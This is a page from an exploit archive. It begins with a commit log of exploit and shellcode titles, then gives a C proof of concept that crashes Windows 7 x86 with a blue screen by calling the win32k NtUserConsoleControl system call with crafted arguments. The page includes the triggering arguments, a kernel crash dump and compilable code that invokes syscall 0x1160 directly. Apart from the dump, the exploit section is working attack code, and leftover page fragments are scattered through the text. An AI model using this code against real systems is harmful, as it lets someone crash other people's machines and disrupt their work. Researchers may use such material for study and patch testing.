880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
80 lines
No EOL
2.5 KiB
C
80 lines
No EOL
2.5 KiB
C
/*
|
|
# Exploit Title: Microsoft Windows Kernel - 'win32k!NtUserConsoleControl' Denial of Service (PoC)
|
|
# Author: vportal
|
|
# Date: 2018-07-27
|
|
# Vendor homepage: http://www.microsoft.com
|
|
# Version: Windows 7 x86
|
|
# Tested on: Windows 7 x86
|
|
# CVE: N/A
|
|
|
|
# It is possible to trigger a BSOD caused by a Null pointer deference when calling the system
|
|
# call NtUserConsoleControl with the following arguments:
|
|
|
|
# NtUserControlConsole(1,0,8).
|
|
# NtUserControlConsole(4,0,8).
|
|
# NtUserControlConsole(6,0,12).
|
|
# NtUserControlConsole(2,0,12).
|
|
# NtUserControlConsole(3,0,20).
|
|
# NtUserControlConsole(5,0,8).
|
|
|
|
# Different crashes are reproduced for each case. For the second case the crash is showed below:
|
|
# EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - La instrucci n en 0x%08lx hace referencia a la memoria
|
|
# en 0x%08lx. La memoria no se pudo %s.
|
|
# FAULTING_IP:
|
|
# win32k!xxxSetConsoleCaretInfo+c
|
|
# 93310641 8b0e mov ecx,dword ptr [esi]
|
|
|
|
# TRAP_FRAME: 8c747b2c -- (.trap 0xffffffff8c747b2c)
|
|
# ErrCode = 00000000
|
|
# eax=00000000 ebx=00000000 ecx=84fc9100 edx=00000000 esi=00000000 edi=00000003
|
|
# eip=93310641 esp=8c747ba0 ebp=8c747bb0 iopl=0 nv up ei ng nz ac po nc
|
|
# cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292
|
|
# win32k!xxxSetConsoleCaretInfo+0xc:
|
|
# 93310641 8b0e mov ecx,dword ptr [esi] ds:0023:00000000=????????
|
|
# Resetting default scope
|
|
|
|
# CUSTOMER_CRASH_COUNT: 1
|
|
# DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
|
|
# BUGCHECK_STR: 0x8E
|
|
# PROCESS_NAME: Win32k-fuzzer_
|
|
|
|
# CURRENT_IRQL: 0
|
|
# LAST_CONTROL_TRANSFER: from 9330fc27 to 93310641
|
|
|
|
# STACK_TEXT:
|
|
# 8c747bb0 9330fc27 00000000 00000003 00000014 win32k!xxxSetConsoleCaretInfo+0xc
|
|
# 8c747bcc 9330fa8d 00000003 00000000 00000014 win32k!xxxConsoleControl+0x147
|
|
# 8c747c20 82848b8e 00000003 00000000 00000014 win32k!NtUserConsoleControl+0xc5
|
|
# 8c747c20 012e6766 00000003 00000000 00000014 nt!KiSystemServicePostCall
|
|
# WARNING: Frame IP not in any known module. Following frames may be wrong.
|
|
# 0016f204 00000000 00000000 00000000 00000000 0x12e6766
|
|
|
|
# PoC code:
|
|
*/
|
|
|
|
#include <Windows.h>
|
|
|
|
extern "C"
|
|
|
|
ULONG CDECL SystemCall32(DWORD ApiNumber, ...)
|
|
{
|
|
__asm{mov eax, ApiNumber};
|
|
__asm{lea edx, ApiNumber + 4};
|
|
__asm{int 0x2e};
|
|
}
|
|
|
|
|
|
int _tmain(int argc, _TCHAR* argv[])
|
|
{
|
|
|
|
int st = 0;
|
|
int syscall_ID = 0x1160; //NtUserControlConsole ID Windows 7
|
|
|
|
LoadLibrary(L"user32.dll");
|
|
|
|
st = (int)SystemCall32(syscall_ID, 4, 0, 8);
|
|
|
|
return 0;
|
|
}
|
|
|
|
# The vulnerability has only been tested in Windows 7 x86. |